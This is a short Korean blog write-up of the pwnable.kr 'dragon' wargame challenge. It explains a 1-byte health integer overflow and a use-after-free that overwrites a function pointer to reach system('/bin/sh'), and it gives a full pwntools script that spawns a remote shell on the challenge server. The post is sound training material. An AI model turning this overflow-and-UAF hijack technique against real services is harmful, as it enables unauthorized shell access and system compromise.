pwnable.kr문제 중 쉬운 편에 속했다.
다만 ida에서 구조체를 다루는데 익숙하지 않아서 푸는데 3시간 정도 걸렸다.
문제의 취약점은 총 2가지이다.
1) integer overflow
2) uaf
드래곤의 체력이 1byte형 변수에 담겨있어서 127이상이 되면 음수가 되어 드래곤을 잡을 수 있다.
그 후 uaf 취약점을 이용하여 함수 포인터를 SelectLevel 에 있는 system("/bin/sh"); 의 주소로 변경하면 익스가 된다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
 
r=remote("pwnable.kr",9004)
 
print r.recvuntil("Knight")
 
r.sendline("2")
 
print r.recvuntil("20 HP.")
 
r.sendline("2")
 
r.sendline("1")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
r.sendline("3")
 
r.sendline("3")
 
r.sendline("2")
 
print r.recvuntil("As:")
 
r.sendline(p32(0x08048DBF))
 
r.interactive()
cs


'워게임 > pwnable.kr' 카테고리의 다른 글

pwnable.kr simple login  (0) 2017.05.10

+ Recent posts